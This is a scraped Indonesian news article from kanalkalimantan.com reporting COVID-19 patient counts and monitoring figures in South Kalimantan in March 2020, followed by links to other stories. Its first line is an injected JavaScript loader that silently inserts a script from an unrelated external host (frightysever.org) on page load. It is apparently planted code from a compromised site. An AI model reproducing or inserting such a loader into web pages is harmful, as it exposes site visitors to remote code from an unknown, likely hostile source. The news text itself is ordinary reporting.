(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Jumlah pasien dalam pengawasan (PDP) di Kalimantan Selatan yang dirawat di RSUD Ulin Banjarmasin pada Jum’at (27/3/2020) sore berkurang satu orang. Adalah pasien kode Ulin-9 yang berasal dari Martapura, Kabupaten Banjar dinyatakan negatif terpapar virus Covid-19.
Hal ini disampaikan oleh Juru Bicara Tim Gugus Tugas P3 Covid-19 Kalsel M Muslim dalam video conference di Command Center Kalimantan Selatan, Jum’at (27/3/2020) sore.
“Satu negatif Covid-19 yaitu pasien Ulin-9. Dan sampai saat ini yang terkonfirmasi positif satu orang dan tidak ada kematian,†kata Muslim.
Kendati kondisi fisiknya masih lemah, Muslim mengatakan sudah ada hasil laboratorium untuk pasien Ulin-9 ini. Hasilnya sendiri dinyatakan negatif Covid-19.
Di samping itu, Kepala Dinas Kesehatan Provinsi Kalsel ini mengungkapkan kondisi PDP yang saat ini dirawat di RS rujukan yaitu RSUD Ulin Banjarmasin. Menurut Muslim, pasien Ulin-1 yang terkonfirmasi positif Covid-19, kondisinya semakin membaik dan stabil.
Kemudian, pasien Ulin-10 berjenis kelamin laki-laki berusia 45 tahun, rujukan dari Martapura masih ada sesak nafas dan masih ada sedikit batuk. Selanjutnya, pasien Ulin-11 seorang laki-laki berusia 56 tahun asal Banjarmasin kondisinya stabil serta tidak ada sesak nafas dan demam.
“Kemudian pasien Ulin-12, seorang wanita berusia 51 tahun, rujukan dari Banjarmasin, kondisinya masih lemah dan juga masih ada sesak dan mual,†jelas Muslim.
Sedangkan pasien Ulin-13 seorang laki-laki berusia 21 tahun dari Tabalong, kondisinya saat ini stabil. Terakhir, pasien Ulin-14 yaitu seorang wanita berusia 36 tahun dari Hulu Sungai Selatan, di hari ketiga masih ada batuk kendati saturasi oksigennya baik.
Jika dikelompokkan, jumlah PDP dari Kota Banjarmasin berjumlah 2 pasien, Kabupaten Banjar berjumlah satu pasien, Tabalong sebanyak satu pasien dan Hulu Sungai Selatan sebanyak satu pasien. “Saat ini, PDP yang dirawat sebanyak 5 pasien dan 1 pasien terkonfirmasi positif. Jadi, berjumlah 6 pasien,†kata Muslim.
Muslim juga membeberkan hasil laboratorium sampel dari orang-orang yang pernah berkontak dengan pasien Ulin-1. Hasilnya menunjukkan, dua kontak yang pernah dekat dnegan Ulin-1 adalah negatif.
Sementara itu, hingga Jumat (27/3/2020) sore pukul 16:00 Wita, jumlah orang dalam pemantauan (ODP) di Kalimantan Selatan meroket mencapai 993 orang. “Saat ini di Kalsel, ODP sebanyak 993 orang,†singkat Muslim.
Kabupaten Tabalong masih menduduki peringkat pertama jumlah ODP yaitu sebanyak 167 orang, disusul Kota Banjarbaru sebanyak 142 orang, Kabupaten Hulu Sungai Tengah sebanyak 129 orang, Kabupaten Banjar sebanyak 96 orang dan Kabupaten Kotabaru sebanyak 92 orang.
Disusul Kota Banjarmasin sebanyak 85 orang, Kabupaten Hulu Sungai Selatan sebanyak 76 orang, Kabupaten Balangan sebanyak 65 orang, Kabupaten Barito Kuala sebanyak 64 orang dan Kabupaten Hulu Sungai Utara sebanyak 24 orang.
Terakhir, Kabupaten Tanah Bumbu sebanyak 23 orang, Kabupaten Tanah Laut sebanyak 22 orang dan Kabupaten Tapin sebanyak 8 orang. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More
KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More
This website uses cookies.